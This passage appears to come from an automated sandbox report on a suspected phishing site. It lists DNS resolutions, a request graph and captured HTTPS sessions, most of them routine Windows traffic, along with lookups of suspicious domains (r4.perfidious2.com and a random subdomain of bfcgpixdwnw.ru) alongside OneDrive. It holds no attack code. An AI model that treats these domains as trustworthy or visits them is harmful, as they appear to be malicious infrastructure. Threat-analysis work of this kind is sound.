Dec 3, 2024 09:05:21.310798883 CET	1.1.1.1	192.168.2.16	0xf247	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:21.310798883 CET	1.1.1.1	192.168.2.16	0xf247	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:21.310798883 CET	1.1.1.1	192.168.2.16	0xf247	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:23.034609079 CET	1.1.1.1	192.168.2.16	0xf154	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Dec 3, 2024 09:05:23.034771919 CET	1.1.1.1	192.168.2.16	0x51a	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:23.034771919 CET	1.1.1.1	192.168.2.16	0x51a	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:53.268409014 CET	1.1.1.1	192.168.2.16	0xac0f	No error (0)	r4.perfidious2.com		104.21.7.52	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:53.268409014 CET	1.1.1.1	192.168.2.16	0xac0f	No error (0)	r4.perfidious2.com		172.67.135.197	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:53.269037962 CET	1.1.1.1	192.168.2.16	0x3467	No error (0)	r4.perfidious2.com			65	IN (0x0001)	false
Dec 3, 2024 09:05:56.956546068 CET	1.1.1.1	192.168.2.16	0xa77	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:56.956546068 CET	1.1.1.1	192.168.2.16	0xa77	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:57.022552967 CET	1.1.1.1	192.168.2.16	0xee8b	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Dec 3, 2024 09:05:57.022572041 CET	1.1.1.1	192.168.2.16	0xcbaa	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:57.022572041 CET	1.1.1.1	192.168.2.16	0xcbaa	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:57.022823095 CET	1.1.1.1	192.168.2.16	0x1923	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Dec 3, 2024 09:05:57.986264944 CET	1.1.1.1	192.168.2.16	0x4962	No error (0)	www.google.com		216.58.208.228	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:05:57.986294985 CET	1.1.1.1	192.168.2.16	0xc545	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 3, 2024 09:06:09.953883886 CET	1.1.1.1	192.168.2.16	0xaf5b	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:06:09.953883886 CET	1.1.1.1	192.168.2.16	0xaf5b	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:06:16.063520908 CET	1.1.1.1	192.168.2.16	0xd0c6	No error (0)	yqhs4qoapmkfgt7y0vqdcc2orpbx2vrvxi73sjgje6aziuktsdghs.bfcgpixdwnw.ru			65	IN (0x0001)	false
Dec 3, 2024 09:06:16.064213991 CET	1.1.1.1	192.168.2.16	0x4537	No error (0)	yqhs4qoapmkfgt7y0vqdcc2orpbx2vrvxi73sjgje6aziuktsdghs.bfcgpixdwnw.ru		104.21.65.72	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:06:16.064213991 CET	1.1.1.1	192.168.2.16	0x4537	No error (0)	yqhs4qoapmkfgt7y0vqdcc2orpbx2vrvxi73sjgje6aziuktsdghs.bfcgpixdwnw.ru		172.67.189.38	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:06:19.556629896 CET	1.1.1.1	192.168.2.16	0xf1fd	No error (0)	yqhs4qoapmkfgt7y0vqdcc2orpbx2vrvxi73sjgje6aziuktsdghs.bfcgpixdwnw.ru		104.21.65.72	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:06:19.556629896 CET	1.1.1.1	192.168.2.16	0xf1fd	No error (0)	yqhs4qoapmkfgt7y0vqdcc2orpbx2vrvxi73sjgje6aziuktsdghs.bfcgpixdwnw.ru		172.67.189.38	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:06:19.559120893 CET	1.1.1.1	192.168.2.16	0xf3e	No error (0)	yqhs4qoapmkfgt7y0vqdcc2orpbx2vrvxi73sjgje6aziuktsdghs.bfcgpixdwnw.ru			65	IN (0x0001)	false
Dec 3, 2024 09:06:20.410967112 CET	1.1.1.1	192.168.2.16	0xde6f	No error (0)	www.onedrive.com	odwebp.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 09:06:20.410967112 CET	1.1.1.1	192.168.2.16	0xde6f	No error (0)	odsp-odweb-webfe-lb.eurwesteur107255.odsp-odweb-webfe.westeurope-prod.cosmic.office.net	cosmic-westeurope-ns-ceb6f0ee85ee.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 09:06:20.411191940 CET	1.1.1.1	192.168.2.16	0x824e	No error (0)	www.onedrive.com	odwebp.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 09:06:20.411191940 CET	1.1.1.1	192.168.2.16	0x824e	No error (0)	odsp-odweb-webfe-lb.eurwesteur001307.odsp-odweb-webfe.westeurope-prod.cosmic.office.net	cosmic-westeurope-ns-cbf6e4cb41a8.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 09:06:22.706798077 CET	1.1.1.1	192.168.2.16	0xcb41	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 09:06:22.706798077 CET	1.1.1.1	192.168.2.16	0xcb41	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 09:06:22.706798077 CET	1.1.1.1	192.168.2.16	0xcb41	No error (0)	odwebpl.trafficmanager.net.dual-spov-0006.spov-msedge.net	dual-spov-0006.spov-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 09:06:22.706798077 CET	1.1.1.1	192.168.2.16	0xcb41	No error (0)	dual-spov-0006.spov-msedge.net		13.107.137.11	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:06:22.706798077 CET	1.1.1.1	192.168.2.16	0xcb41	No error (0)	dual-spov-0006.spov-msedge.net		13.107.139.11	A (IP address)	IN (0x0001)	false
Dec 3, 2024 09:06:23.169114113 CET	1.1.1.1	192.168.2.16	0x3c4c	No error (0)	onedrive.live.com	web.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 09:06:23.169114113 CET	1.1.1.1	192.168.2.16	0x3c4c	No error (0)	web.fe.1drv.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 09:06:29.355679035 CET	1.1.1.1	192.168.2.16	0x26bc	No error (0)	assets.onestore.ms	assets.onestore.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 09:06:29.356033087 CET	1.1.1.1	192.168.2.16	0xb55f	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 09:06:29.356420994 CET	1.1.1.1	192.168.2.16	0xcaa3	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 09:06:29.611707926 CET	1.1.1.1	192.168.2.16	0x5caf	No error (0)	assets.onestore.ms	assets.onestore.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 09:06:32.312534094 CET	1.1.1.1	192.168.2.16	0x54fc	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 09:06:32.319084883 CET	1.1.1.1	192.168.2.16	0xcd29	No error (0)	ajax.aspnetcdn.com	mscomajax.vo.msecnd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 09:06:33.741693020 CET	1.1.1.1	192.168.2.16	0x3d74	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 09:06:33.749696970 CET	1.1.1.1	192.168.2.16	0xf244	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 09:06:35.847738028 CET	1.1.1.1	192.168.2.16	0xe404	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 09:06:35.848067045 CET	1.1.1.1	192.168.2.16	0xbf6b	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

slscr.update.microsoft.com

fs.microsoft.com

r4.perfidious2.com

https:

code.jquery.com

cdnjs.cloudflare.com

challenges.cloudflare.com

yqhs4qoapmkfgt7y0vqdcc2orpbx2vrvxi73sjgje6aziuktsdghs.bfcgpixdwnw.ru

onedrive.live.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49700	40.126.53.11	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:05:09 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-12-03 08:05:09 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-12-03 08:05:10 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 03 Dec 2024 08:04:10 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_SN1 x-ms-request-id: c893d090-ad1f-4559-aa0f-d3d96d754147 PPServer: PPV: 30 H: SN1PEPF0002F160 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 03 Dec 2024 08:05:09 GMT Connection: close Content-Length: 11390
2024-12-03 08:05:10 UTC	11390	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49703	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:05:10 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=VnVOhCEcy84x5vD&MD=aXoMy7BK HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-03 08:05:11 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 38c0e5d5-3aed-4e74-bcff-a26a21744024 MS-RequestId: 7d562aad-efb0-4ab8-810b-58b4251f5bd8 MS-CV: TnwTjhiD40yTRWhq.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 03 Dec 2024 08:05:09 GMT Connection: close Content-Length: 24490
2024-12-03 08:05:11 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-12-03 08:05:11 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49705	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:05:11 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-03 08:05:11 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=40889 Date: Tue, 03 Dec 2024 08:05:11 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49706	40.126.53.11	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:05:12 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-12-03 08:05:12 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-12-03 08:05:13 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 03 Dec 2024 08:04:13 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BAY x-ms-request-id: 6766fd92-2c16-4b7d-952e-33259cde2151 PPServer: PPV: 30 H: PH1PEPF0001B89C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 03 Dec 2024 08:05:12 GMT Connection: close Content-Length: 11410
2024-12-03 08:05:13 UTC	11410	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49710	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:05:13 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-03 08:05:13 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=100761 Date: Tue, 03 Dec 2024 08:05:13 GMT Content-Length: 55 Connection: close X-CID: 2
2024-12-03 08:05:13 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49715	40.126.53.11	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:05:15 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4762 Host: login.live.com
2024-12-03 08:05:15 UTC	4762	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-12-03 08:05:16 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 03 Dec 2024 08:04:15 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_SN1 x-ms-request-id: 2e43d436-dd17-4932-8cea-ae01992ef17b PPServer: PPV: 30 H: SN1PEPF0004014D V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 03 Dec 2024 08:05:15 GMT Connection: close Content-Length: 10197
2024-12-03 08:05:16 UTC	10197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49718	172.67.135.197	443	4800	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
